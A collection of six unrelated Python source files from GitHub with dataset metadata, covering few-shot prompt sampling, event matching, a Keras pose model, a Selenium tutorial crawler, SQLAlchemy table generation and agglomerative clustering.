{"seq_id": "33892293657", "text": "import json\nimport random\n\nwith open('data/LLMScience.json',encoding='utf-8') as f:\n    datas = json.load(f)\n\ndatas = datas[:200]\n\n# datas = random.sample(datas, 5)\n\nprompt = \"\"\"Question: {}\nA: {}\nB: {}\nC: {}\nD: {}\nE: {}\nAnswer: {}\"\"\"\n\n# 筛选出所有答案为A,B,C,D,E的数据\ndata_A = [item for item in datas if item['answer'] == 'A']\ndata_B = [item for item in datas if item['answer'] == 'B']\ndata_C = [item for item in datas if item['answer'] == 'C']\ndata_D = [item for item in datas if item['answer'] == 'D']\ndata_E = [item for item in datas if item['answer'] == 'E']\n\n# 检查每个答案是否都至少有一个数据\nif not all([data_A, data_B, data_C, data_D, data_E]):\n    print(\"数据中不包含所有的答案至少一次!\")\nelse:\n    sampled_data = []\n    sampled_data.append(random.choice(data_A))\n    sampled_data.append(random.choice(data_B))\n    sampled_data.append(random.choice(data_C))\n    sampled_data.append(random.choice(data_D))\n    sampled_data.append(random.choice(data_E))\n\nrandom.shuffle(sampled_data)\n\ntotal_few_shot = \"\"\nfor data in sampled_data:\n    question = data['prompt']\n    A = data['A']\n    B = data['B']\n    C = data['C']\n    D = data['D']\n    E = data['E']\n    answer = data['answer']\n    total_few_shot+=prompt.format(question,A,B,C,D,E,answer)+\"\\n\\n\"\n\nprint(total_few_shot)\n\n\n", "repo_name": "GasolSun36/llm_science", "sub_path": "utils/sample_few_shot.py", "file_name": "sample_few_shot.py", "file_ext": "py", "file_size_in_byte": 1323, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 5, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 31, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 32, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 33, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 34, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 35, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 37, "usage_type": "call"}]}
{"seq_id": "70515990630", "text": "import json\n#  результат матча\nfile_name1 = \"processed_data (1).json\"\n#  исходники для матчера\nfile_name2 = \"input_data.json\"\nwith open(file_name1, 'r+', encoding='utf-8') as file1:\n    with open(file_name2, 'r', encoding='utf-8') as file2:\n        print(type(file1))\n        file1 = json.load(file1)\n        file2 = json.load(file2)\n        for i in [\"mismatched_pairs\"]:\n\n            for mismatch_pair in file1[i]:\n                event_id1 = mismatch_pair[\"event1\"][\"event_id\"]\n                event_id2 = mismatch_pair[\"event2\"][\"event_id\"]\n                sport = mismatch_pair[\"sport\"]\n                date_event = mismatch_pair[\"date\"]\n                flag_event1 = 0\n                flag_event2 = 0\n                for date_events in file2:\n                    if flag_event1 and flag_event2:\n                        break\n                    if date_event != date_events[\"date\"]:\n                        continue\n                    for event_serch in date_events[\"data\"]:\n                        if event_serch[\"sport\"] != sport:\n                            continue\n                        if event_id1 == event_serch[\"event1\"][\"event_id\"]:\n                            flag_event1 = 1\n                            mismatch_pair[\"event1\"][\"true_pair\"] = event_serch[\"event2\"]\n                        if event_id2 == event_serch[\"event2\"][\"event_id\"]:\n                            flag_event2 = 1\n                            mismatch_pair[\"event2\"][\"true_pair\"] = event_serch[\"event1\"]\n\n        with open('new_result.json', 'w') as fp:\n            json.dump(file1, fp)\n# unmatched_results, mismatched_pairs", "repo_name": "BlekDark/matcher", "sub_path": "Microservices/parser_pair_csv_to_json/add_true_pair.py", "file_name": "add_true_pair.py", "file_ext": "py", "file_size_in_byte": 1646, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 9, "usage_type": "call"}, {"api_name": "json.load", "line_number": 10, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "17572631429", "text": "import matplotlib.pyplot as plt\nimport numpy as np \nimport tensorflow as tf\nfrom sklearn import metrics\nimport pandas as pd\nimport pickle\n\nfrom keras.optimizers import Adam\nfrom keras.models import Model\nfrom keras.layers import Dense\nfrom keras.layers import Input\nfrom keras.layers import Flatten\nfrom keras.layers import Conv2D\nfrom keras.layers.normalization.batch_normalization import BatchNormalization\nfrom keras.layers import Dropout\n\n\ndef define_CNN(in_shape, n_keypoints):\n\n    in_one = Input(shape=in_shape)\n    conv_one_1 = Conv2D(16, kernel_size=(3, 3), activation='relu', strides=(1, 1), padding = 'same')(in_one)\n    conv_one_1 = Dropout(0.3)(conv_one_1)\n    conv_one_2 = Conv2D(32, kernel_size=(3, 3), activation='relu', strides=(1, 1), padding = 'same')(conv_one_1)\n    conv_one_2 = Dropout(0.3)(conv_one_2)\n\n    conv_one_2 = BatchNormalization(momentum=0.95)(conv_one_2)\n\n    fe = Flatten()(conv_one_2)\n    # dense1\n    dense_layer1 = Dense(512, activation='relu')(fe)\n    dense_layer1 = BatchNormalization(momentum=0.95)(dense_layer1)\n    # # dropout\n\n    # dropout\n    dense_layer1 = Dropout(0.4)(dense_layer1)\n    \n    out_layer = Dense(n_keypoints, activation = 'linear')(dense_layer1)\n    \n\n    # model\n    model = Model(in_one, out_layer)\n    opt = Adam(lr=0.001, beta_1=0.5)\n\n    # compile the model\n    model.compile(loss='mse', optimizer=opt, metrics=['mae', 'mse', 'mape', tf.keras.metrics.RootMeanSquaredError()])\n    return model\n\n\ndef main():\n    # #load the feature and labels, 24066, 8033, and 7984 frames for train, validate, and test\n    # featuremap_train = np.load('feature/featuremap_train.npy')\n    # featuremap_validate = np.load('feature/featuremap_validate.npy')\n    # featuremap_test = np.load('feature/featuremap_test.npy')\n\n    # labels_train = np.load('feature/labels_train.npy')\n    # labels_validate = np.load('feature/labels_validate.npy')\n    # labels_test = np.load('feature/labels_test.npy')\n    # remove the arms up one\n    training_data_file_names = [\"arms-up.bin\", \"t-pose.bin\", \"arms-down.bin\"]\n    # training_data_file_names = [\"squat.bin\"]\n    # fig = plt.figure()\n    # ax = fig.add_subplot(projection='3d')\n    for name in training_data_file_names:\n        with open(f\"training_data/{name}\", \"rb\") as f:\n            training_features = pickle.load(f)\n            for i in range(500):\n                ax.clear()\n                # ax.scatter(landmark.x, landmark.y, landmark.z)\n                x = []\n                y = []\n                z = []\n                for landmark in training_features[i].landmark:\n                    x.append(landmark.x)\n                    y.append(0)\n                    z.append(landmark.y)\n                    # ax.scatter(landmark.x, landmark.y, landmark.z)\n                ax.scatter(x, y, z)\n                ax.set_xlabel(\"X\")\n                ax.set_ylabel(\"Y\")\n                ax.set_zlabel(\"Z\")\n                ax.axes.set_xlim3d(left=-0.5, right=0.5)\n                ax.axes.set_ylim3d(bottom=-0.5, top=0.5)\n                ax.axes.set_zlim3d(bottom=1, top=0)\n\n                plt.pause(0.05)\n    \n    # plt.show()\n    #         # print(training_features[0].landmark[0])\n\n\n    # # Initialize the result array\n    # paper_result_list = []\n\n\n    # # define batch size and epochs\n    # batch_size = 128\n    # epochs = 150\n\n    # # load model\n    # keypoint_model = tf.keras.models.load_model(\"model/MARS.h5\")\n    # # Repeat i iteration to get the average result\n    # # for i in range(10):\n    # # instantiate the model\n    # keypoint_model = tf.keras.models.load_model(\"model/MARS.h5\")\n\n    # # save and print the metrics\n    # # score_train = keypoint_model.evaluate(featuremap_train, labels_train,verbose = 1)\n    # # print('train MAPE = ', score_train[3])\n    # # score_test = keypoint_model.evaluate(featuremap_test, labels_test,verbose = 1)\n    # # print('test MAPE = ', score_test[3])\n    # print(len(featuremap_test))\n    # result_test = keypoint_model.predict(np.array([featuremap_test[2735]]))\n\n    # x = result_test[0][0:19]\n    # y = result_test[0][19:38]\n    # z = result_test[0][38:57]\n    # # print(pts)\n    \n    # fig = plt.figure()\n    # ax = fig.add_subplot(projection='3d')\n    # ax.scatter(x, y, z)\n    # ax.set_xlabel('X Label')\n    # ax.set_ylabel('Y Label')\n    # ax.set_zlabel('Z Label')\n    # plt.show()\n\n    # # df = pd.DataFrame(result_test)\n    # # print(df)\n    # # print(featuremap_test)\n    # # print(featuremap_test[0])\n    # # print(result_test)\n    # # print(result_test[0])\n    # exit()\n\n    # # instantiate the model\n    # # keypoint_model = define_CNN(featuremap_train[0].shape, 57)\n\n    # # # # initial maximum error \n    # # # score_min = 10\n    # # history = keypoint_model.fit(featuremap_train, labels_train,\n    # #                             batch_size=batch_size, epochs=epochs, verbose=1, \n    # #                             validation_data=(featuremap_validate, labels_validate))\n    # # result_test = keypoint_model.predict(featuremap_test)\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "tumng2002/csse4011-thor-gold", "sub_path": "ml_model/ml_model.py", "file_name": "ml_model.py", "file_ext": "py", "file_size_in_byte": 5024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "keras.layers.Input", "line_number": 20, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 21, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 22, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 23, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 24, "usage_type": "call"}, {"api_name": "keras.layers.normalization.batch_normalization.BatchNormalization", "line_number": 26, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.layers.normalization.batch_normalization.BatchNormalization", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 35, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 37, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 41, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics.RootMeanSquaredError", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}]}
{"seq_id": "75080717349", "text": "from selenium import webdriver\r\nimport time\r\n\r\nbrowser = webdriver.Chrome('C://Users//20143//Desktop//chromedriver.exe')\r\nbrowser.get(\"https://basecamp.robolink.com/cwists/category#products=%5B1%5D&selected_sort_by=alphabetical\")\r\n\r\ntime.sleep(5)\r\nbutton = browser.find_element_by_xpath('//*[@id=\"activity-search-results\"]/div/div[2]/button')\r\nbutton.click()\r\ntime.sleep(5)\r\n\r\ncards = browser.find_elements_by_class_name(\"card__img-wrap\")\r\nlinks = []\r\nfor card in cards:\r\n    links.append(card.get_attribute('href'))\r\nfor link in links:\r\n    browser.get(link)\r\n    time.sleep(5)\r\n\r\n    buttons = browser.find_elements_by_class_name('cpy-clip-txtarea')\r\n    if len(buttons) == 0:\r\n        continue\r\n\r\n    title = browser.find_element_by_css_selector('.titlebar__title.u-flex')\r\n    subtitle = browser.find_elements_by_css_selector('.step-content-h3.u-hide-print')\r\n    title_name = title.get_attribute(\"textContent\")\r\n\r\n    try:\r\n        wf = open(title_name[:2] + \".txt\", \"w\", encoding='UTF-8')\r\n\r\n        wf.write(title_name + \"\\n\\n\\n\")\r\n        for i in subtitle:\r\n            wf.write(i.get_attribute(\"textContent\")+\"\\n\")\r\n        wf.write(\"\\n\\n\\n\")\r\n        for i in buttons:\r\n            wf.write(i.get_attribute(\"textContent\")+\"\\n\\n\\n\\n\\n\")\r\n        wf.write(\"\\n\\n\\n\")\r\n        wf.close()\r\n    except:\r\n        print(\"FU\"+title_name)\r\n\r\n    time.sleep(1)\r\n    print(link)\r\n\r\ntime.sleep(5)\r\nbrowser.quit()\r\n", "repo_name": "hazelZzang/Crawling", "sub_path": "crawler.py", "file_name": "crawler.py", "file_ext": "py", "file_size_in_byte": 1412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 4, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 4, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 7, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 10, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "27130263298", "text": "import numpy as np\nimport pandas as pd\n\nfrom sqlalchemy import create_engine, MetaData, Table, Column, Integer, \\\n                       String, Float, DateTime, ForeignKeyConstraint, ForeignKey,\\\n                       Enum, UniqueConstraint, Boolean\nfrom geoalchemy2 import Geometry\n\nimport website.models as m\n\n# Pandas to human readable mapping\ntype_mappings = {\n    'int': 'integer',\n    'float': 'float',\n    'datetime': 'datetime',\n    'object': 'string'\n}\n\n# Human readable to alchemy mapping\nalchemy_types = {\n    'integer': Integer,\n    'float': Float,\n    'datetime': DateTime,\n    'string': String\n}\n\n\ndef to_sql(df, datatypes, table_name, schema, geospatial_columns=None):\n    \"\"\"\n    Create a database table based on a DataFrame and load it with data\n\n    Parameters:\n    df (pandas.DataFrame) - The DataFrame the table will be generated based on.\n                            The data found in this DataFrame will be loaded into the table\n    datatypes (list) - A list of SQLAlchemy column datatypes\n    table_name (str) - The name the table will be given\n    schema (str) - The schema the table will be created into\n    geospatial_columns(list) - A list of geospatial columns of the type returned\n                               by get_geospatial_columns()\n\n    Returns:\n    table - The SQLAlchemy table object that was generated\n    \"\"\"\n    create_table(df, datatypes, table_name, schema, geospatial_columns)\n    table = getattr(m.Base.classes, table_name)\n    insert_df(df, table, geospatial_columns)\n    return table\n\n\ndef create_table(df, datatypes, table_name, schema, geospatial_columns=None):\n    \"\"\"\n    Create a database table based on a DataFrame\n\n    Parameters:\n    df (pandas.DataFrame) - The dataframe the table will be generated for\n    datatypes (list) - A list of SQLAlchemy column datatypes\n    table_name (str) - The name the table will be given\n    schema (str) - The schema the table will be created into\n    geospatial_columns (list) - A list of geospatial columns of the type returned\n                                from get_geospatial_columns()\n\n    Returns:\n    table - The generated SQLAlchemy table object\n    \"\"\"\n    datatypes = get_alchemy_types(datatypes)\n    columns = [Column('id', Integer, primary_key=True)]\n    for i, c in enumerate(df.columns):\n        columns.append(\n            Column(c, datatypes[i])\n        )\n    if geospatial_columns is not None:\n        for c in geospatial_columns:\n            if c['type'] == 'latlon':\n                columns.append(\n                    Column(c['name'], Geometry('POINT', srid=c['srid']))\n                )\n    table = Table(table_name, m.m, *columns, schema=schema)\n    m.m.create_all(m.engine)\n    m.refresh()\n    return table\n\n\ndef insert_df(df, table, geospatial_columns=None):\n    \"\"\"\n    Load a DataFrame into an autogenerated database table\n\n    Arguments:\n    table - The SQLAlchemy table object into which data will be loaded\n    geospatial_columns (list) - A list of geospatial columns found in the dataset.\n                                Should be of the form returned by get_geospatial_columns()\n\n    Returns:\n    Nothing\n    \"\"\"\n    insert_dict = df.to_dict('records')\n    for row in insert_dict:\n        for c in row:\n            if pd.isnull(row[c]):\n                row[c] = None\n        if geospatial_columns is not None:\n            for c in geospatial_columns:\n                row[c['name']] = 'SRID=%s;POINT(%s %s)' % (c['srid'], row[c['lon_col']], row[c['lat_col']])\n    m.engine.execute(\n        table.__table__.insert(),\n        insert_dict\n    )\n    return\n\n\ndef get_geospatial_columns(table_uuid):\n    \"\"\"\n    Get a list of geospatial column definitions from the geospatial_columnns table\n    for a given table\n\n    Parameters:\n    table_uuid (str) - The uuid of an autogenerated database table\n\n    Retruns:\n    columns (list) - A list of geospatial column definitions where each element\n                     is of the type returned by parse_geospatial_column_string()\n    \"\"\"\n    session = m.get_session()\n    res = session.query(m.GEOSPATIAL_COLUMNS.column_definition).filter(\n        m.GEOSPATIAL_COLUMNS.dataset_uuid == table_uuid\n    )\n    columns = []\n    for col in res:\n        columns.append(parse_geospatial_column_string(col[0]))\n    session.close()\n    return columns\n\n\ndef parse_geospatial_column_string(geospatial_column_string):\n    \"\"\"\n    Convert a geospatial column definition String into a dictionary to be used\n    by the database generation functions.\n\n    Parameters:\n    geospatial_column_string (str) - A string defining a geospatial column.\n                                     probably either returned from the upload_file page\n                                     or pulled from the column_definition column of the\n                                     geospatial_columns table.\n        example: name=geom&lat_col=LATITUDE&lon_col=LONGITUDE&srid=4326&type=latlon\n\n    Returns:\n    geospatial_column (dict) - A dictionary containing all the information foud in the defintion string\n    \"\"\"\n    # For each geospatial column, create a dictionary using fields as keys to store values\n    for column in geospatial_column_string.split(','):\n        # Create the dictionary\n        geospatial_column = {'column_definition': column}\n\n        for field in column.split('&'):\n            field = field.split('=')\n            # \"exampleone=7&exampletwo=8\" -> {\"exampleone\":7, \"exampletwo\":8}\n            geospatial_column[field[0]] = field[1]\n\n        # Append the dictionary to geospatial_columns (for the to_sql function)\n    return geospatial_column\n\n\ndef get_alchemy_types(mapped_types):\n    \"\"\"\n    Get SQLAlchemy column datatype objects from a list of human readable datatypes.\n    This converts a verified list human readable types from the frontend to objects\n    for database generation on the backend\n\n    Parameters:\n    mapped_types (list) -  a list of human readable datatypes like those generated\n                           by get_readable_types_from_dataframe().\n\n    Returns:\n    rt (list) - A list of SQLAlchemy column datatype objects\n    \"\"\"\n    rt = []\n    for t in mapped_types:\n        rt.append(alchemy_types[t])\n    return rt\n\n\ndef get_readable_types_from_dataframe(df):\n    \"\"\"\n    Get human readable datatypes for the columns in a pandas.DataFrame. This is\n    used to help the user verify that the system is auto-generating the correct\n    database column types\n\n    Parameters:\n    df (pandas.DataFrame) - The DataFrame the human readable datatype list will\n                            be generated from.\n\n    Returns:\n    readable_types (list) - a list of human readable datatypes\n    \"\"\"\n    readable_types = []\n    for d in df.dtypes:\n        readable_types.append(convert_type(d))\n    return readable_types\n\n\ndef convert_type(dtype):\n    \"\"\"\n    Convert a pandas dtype to a human readable database type.\n\n    Parameters:\n    dtype - a dtype from the column of a pandas.Dataframe or a pandas.Series\n\n    Returns:\n    type_mapping (str) - the human readable equivalent of the dtype\n    \"\"\"\n    d = str(dtype)\n    for t in type_mappings:\n        if t in d:\n            return type_mappings[t]\n    return None\n", "repo_name": "npmcdn-to-unpkg-bot/mircs-geogenealogy", "sub_path": "mircsgeo/website/table_generator.py", "file_name": "table_generator.py", "file_ext": "py", "file_size_in_byte": 7176, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlalchemy.Integer", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Float", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.DateTime", "line_number": 23, "usage_type": "name"}, {"api_name": "sqlalchemy.String", "line_number": 24, "usage_type": "name"}, {"api_name": "website.models.Base", "line_number": 45, "usage_type": "attribute"}, {"api_name": "website.models", "line_number": 45, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 66, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 66, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 69, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 75, "usage_type": "call"}, {"api_name": "geoalchemy2.Geometry", "line_number": 75, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 77, "usage_type": "call"}, {"api_name": "website.models.m", "line_number": 77, "usage_type": "attribute"}, {"api_name": "website.models", "line_number": 77, "usage_type": "name"}, {"api_name": "website.models.m.create_all", "line_number": 78, "usage_type": "call"}, {"api_name": "website.models.m", "line_number": 78, "usage_type": "attribute"}, {"api_name": "website.models", "line_number": 78, "usage_type": "name"}, {"api_name": "website.models.engine", "line_number": 78, "usage_type": "attribute"}, {"api_name": "website.models.refresh", "line_number": 79, "usage_type": "call"}, {"api_name": "website.models", "line_number": 79, "usage_type": "name"}, {"api_name": "pandas.isnull", "line_number": 98, "usage_type": "call"}, {"api_name": "website.models.engine.execute", "line_number": 103, "usage_type": "call"}, {"api_name": "website.models.engine", "line_number": 103, "usage_type": "attribute"}, {"api_name": "website.models", "line_number": 103, "usage_type": "name"}, {"api_name": "website.models.get_session", "line_number": 122, "usage_type": "call"}, {"api_name": "website.models", "line_number": 122, "usage_type": "name"}, {"api_name": "website.models.GEOSPATIAL_COLUMNS", "line_number": 123, "usage_type": "attribute"}, {"api_name": "website.models", "line_number": 123, "usage_type": "name"}, {"api_name": "website.models.GEOSPATIAL_COLUMNS", "line_number": 124, "usage_type": "attribute"}, {"api_name": "website.models", "line_number": 124, "usage_type": "name"}]}
{"seq_id": "29515190212", "text": "# Author : Tim Destan\n# Feature based clusterer\n\nfrom collections import defaultdict\nfrom qbcommon import all_pairs_symmetric\nfrom featurespace import *\n\nimport logging\nlogger = logging.getLogger(\"FeatureClusterer\")\n\nclass ScoreTypes(object):\n  DISTANCE = \"DISTANCE\"\n  SIMILARITY = \"SIMILARITY\"\n\nclass GuidGenerator(object):\n  \"\"\"\n  Generates globally unique identifiers.\n  \"\"\"\n  def __init__(self):\n    self.next = 0\n\n  def new_id(self):\n    \"\"\"\n    Returns a new ID\n    \"\"\"\n    self.next += 1\n    return self.next\n\nclass AgglomerativeCluster(object):\n  \"\"\"\n  Agglomerative clusterer based on a feature distance function that takes\n  features as vectors from names to values.\n  \"\"\"\n  def __init__(self, compositeRecords, featureSets, scoreFunction,\n      threshold=None, scoreType=ScoreTypes.DISTANCE, baseDistanceCache={},\n      guidGenerator=GuidGenerator(), globalClusters={}):\n    \"\"\"\n    Constructor\n\n    :param compositeRecords: Collection of composite records to classify.\n    :param featureSets: List of featuresets. Each base record is\n      interpreted as an index into this list.\n    :param threshold: Optional distance threshold for when to stop merging clusters.\n    :param scoreFunction: A distance function to compute the distance between two\n      feature vectors. Should be a distance metric.\n    :param baseDistanceCache: A cache of distances between base records.\n    \"\"\"\n    self.baseFeatureArray = featureSets\n    self.scoreFunction = scoreFunction\n\n    self.onMerge = lambda slf, thresh: ()\n\n    self.informative_features = defaultdict(float)\n\n    if scoreType == ScoreTypes.DISTANCE:\n      self.scoreIsBetter = lambda score, best: score < best\n    elif scoreType == ScoreTypes.SIMILARITY:\n      self.scoreIsBetter = lambda score, best: score > best\n    else:\n      raise ValueError(\"Unknown Score type: %s\" % repr(scoreType))\n\n    if threshold is None:\n      logger.warn(\"Threshold should probably be specified.. Defaulting to infinity..\")\n      self.threshold = InfiniteFeatureComparisonResult()\n    else:\n      self.threshold = ConstantValueFeatureComparisonResult(threshold)\n\n    # Define two maps, one from records to cluster identifiers (which we will\n    # start with each record in a cluster with its own identifier) and a second\n    # from cluster identifiers to the records contained therein.\n    #\n    self.b2c = {}\n    self.c2b = {}\n   \n    # Presently unused\n    self.globalClusters = globalClusters\n\n    self.guidGenerator = guidGenerator\n\n    for compositeRecord in compositeRecords:\n      clusterIndex = self._newClusterId()\n      self.c2b[clusterIndex] = compositeRecord\n      for baseRecord in compositeRecord:\n        self.b2c[baseRecord] = clusterIndex\n\n    # Cache distances between two clusters and between base recs.\n    #\n    if baseDistanceCache:\n      self.baseDistanceCache = baseDistanceCache\n    else:\n      self.baseDistanceCache = {}\n    self.clusterDistanceCache = {}\n\n  def _newClusterId(self):\n    \"\"\"Gets a new cluster ID unique to this object\"\"\"\n    return self.guidGenerator.new_id()\n\n  def _baseDistance(self, b1, b2):\n    \"\"\"\n    Computes the distance between two base records\n\n    :param b1: one record\n    :param b2: another one\n    \"\"\"\n    if b1 > b2:\n      b1, b2 = b2, b1\n    distance = self.baseDistanceCache.get((b1,b2), None)\n    if distance is None:\n      distance = self.scoreFunction(\\\n        self.baseFeatureArray[b1], self.baseFeatureArray[b2])\n      self.baseDistanceCache[(b1,b2)] = distance\n    return distance\n\n  def distance(self, c1, c2):\n    \"\"\"\n    Computes the difference between the clusters with the given identifiers.\n\n    :param c1: a cluster identifier\n    :param c2: another cluster identifier\n\n    :returns: The distance between the two identified clusters.\n    \"\"\"\n    # Concrete class should provide implementation.\n    #\n    raise NotImplemented\n\n  def mergeClusters(self,c1,c2):\n    \"\"\"\n    Merges the two argument clusters.\n\n    :param c1: A cluster identifier\n    :param c2: Another cluster identifier.\n    \"\"\"\n    combinedBaseRecords = (self.c2b[c1] | self.c2b[c2])\n    # Remove these two clusters.\n    del self.c2b[c1]\n    del self.c2b[c2]\n    cNew = self._newClusterId()\n    self.c2b[cNew] = combinedBaseRecords\n    for baseRecord in combinedBaseRecords:\n      self.b2c[baseRecord] = cNew\n\n  def mergeNearestClusters(self):\n    \"\"\"\n    Finds the two clusters at the minimum distance and merges them together.\n    \n    :returns: True if we merged any clusters.\n    \"\"\"\n    if len(self.c2b) <= 1:\n      # Cannot merge if there is only 1 cluster remaining.\n      #\n      logger.debug(\"Only one cluster left, terminating clustering.\")\n      return False\n\n    bestDistance = None\n    cbest1, cbest2 = None, None\n\n    for c1,c2 in all_pairs_symmetric(self.c2b.keys()):\n      distance = self.distance(c1,c2)\n      if (not bestDistance) or self.scoreIsBetter(distance, bestDistance):\n        bestDistance = distance\n        cbest1, cbest2 = c1, c2\n\n    #assert(cbest1 is not None and cbest2 is not None)\n\n    if self.scoreIsBetter(self.threshold, bestDistance):\n      logger.debug(\"Best score %g passed score threshold %g, terminating clustering.\" % \\\n        (bestDistance.total(), self.threshold.total()))\n      return False\n    contrib = bestDistance.feature_contributions()\n    for feat in contrib:\n      self.informative_features[feat] += contrib[feat]\n    # This line is just too much output, makes debug level unusuable. Occasionally\n    # uncommented when something in this class needs to be carefully debugged.\n    #\n    #logger.debug(\"Merging \" + repr(self.c2b[cbest1]) + \" and \" + repr(self.c2b[cbest2]) + \\\n    #  \" with score \" + repr(bestDistance.total()) + \".\")\n    self.mergeClusters(cbest1, cbest2)\n    self.onMerge(self, bestDistance)\n    return True\n\n  def cluster(self):\n    \"\"\"Clusters the records and returns the resulting clusters\"\"\"\n    logger.debug(\"Beginning feature based clustering on %d clusters.\" % len(self.c2b))\n    # Merge the two nearest clusters until we can't.\n    #\n    while self.mergeNearestClusters():\n      pass\n    logger.debug(\"After clustering, there are now %d clusters remaining.\" % len(self.c2b))\n    return self.c2b.values()\n\nclass MinDistanceAgglomerativeCluster(AgglomerativeCluster):\n  \"\"\"\n  Agglomerative clusterer that compares two clusters by the distance between\n  their closest two points.\n  \"\"\"\n  def distance(self, c1, c2):\n    \"\"\"\n    Computes the difference between the clusters with the given identifiers.\n\n    :param c1: a cluster identifier\n    :param c2: another cluster identifier\n\n    :returns: The distance between the two identified clusters.\n    \"\"\"\n    if c1 > c2:\n      c1, c2 = c2, c1\n    clusterDistance = self.clusterDistanceCache.get((c1,c2), None)\n    if clusterDistance is None:\n      # Find the minimum distance between any two pairs in the clusters.\n      #\n      minDistance = InfiniteFeatureComparisonResult()\n      for b1 in self.c2b[c1]:\n        for b2 in self.c2b[c2]:\n          baseDistance = self._baseDistance(b1, b2)\n          if baseDistance < minDistance:\n            minDistance = baseDistance\n      clusterDistance = minDistance\n      self.clusterDistanceCache[(c1,c2)] = clusterDistance\n    return clusterDistance\n\nclass MaxDistanceAgglomerativeCluster(AgglomerativeCluster):\n  \"\"\"\n  Agglomerative clusterer that compares two clusters by the distance between\n  their farthest two points.\n  \"\"\"\n  def distance(self, c1, c2):\n    \"\"\"\n    Computes the difference between the clusters with the given identifiers.\n\n    :param c1: a cluster identifier\n    :param c2: another cluster identifier\n\n    :returns: The distance between the two identified clusters.\n    \"\"\"\n    if c1 > c2:\n      c1, c2 = c2, c1\n    clusterDistance = self.clusterDistanceCache.get((c1,c2), None)\n    if clusterDistance is None:\n      # Find the maximum distance between any two pairs in the clusters.\n      #\n      maxDistance = ConstantValueFeatureComparisonResult(0.0)\n      for b1 in self.c2b[c1]:\n        for b2 in self.c2b[c2]:\n          baseDistance = self._baseDistance(b1, b2)\n          if baseDistance > maxDistance:\n            maxDistance = baseDistance\n      clusterDistance = maxDistance\n      self.clusterDistanceCache[(c1,c2)] = clusterDistance\n    return clusterDistance\n\nclass AverageDistanceAgglomerativeCluster(AgglomerativeCluster):\n  \"\"\"\n  Agglomerative clusterer that compares two clusters by the average distance\n  between the points in those clusters.\n  \"\"\"\n  def distance(self, c1, c2):\n    \"\"\"\n    Computes the difference between the clusters with the given identifiers.\n\n    :param c1: a cluster identifier\n    :param c2: another cluster identifier\n\n    :returns: The distance between the two identified clusters.\n    \"\"\"\n    if c1 > c2:\n      c1, c2 = c2, c1\n    clusterDistance = self.clusterDistanceCache.get((c1,c2), None)\n    if clusterDistance is None:\n      totalDistance = FeatureComparisonResult() # 0.0\n      count = 0\n      for b1 in self.c2b[c1]:\n        for b2 in self.c2b[c2]:\n          totalDistance = totalDistance.add(self._baseDistance(b1, b2))\n          count += 1\n      if count == 0:\n        clusterDistance = FeatureComparisonResult() # 0.0\n      else:\n        clusterDistance = totalDistance.normalize(count)\n      self.clusterDistanceCache[(c1,c2)] = clusterDistance\n    return clusterDistance", "repo_name": "timdestan/quiz-bowl-entity-resolution", "sub_path": "cluster.py", "file_name": "cluster.py", "file_ext": "py", "file_size_in_byte": 9300, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 53, "usage_type": "call"}, {"api_name": "qbcommon.all_pairs_symmetric", "line_number": 158, "usage_type": "call"}]}
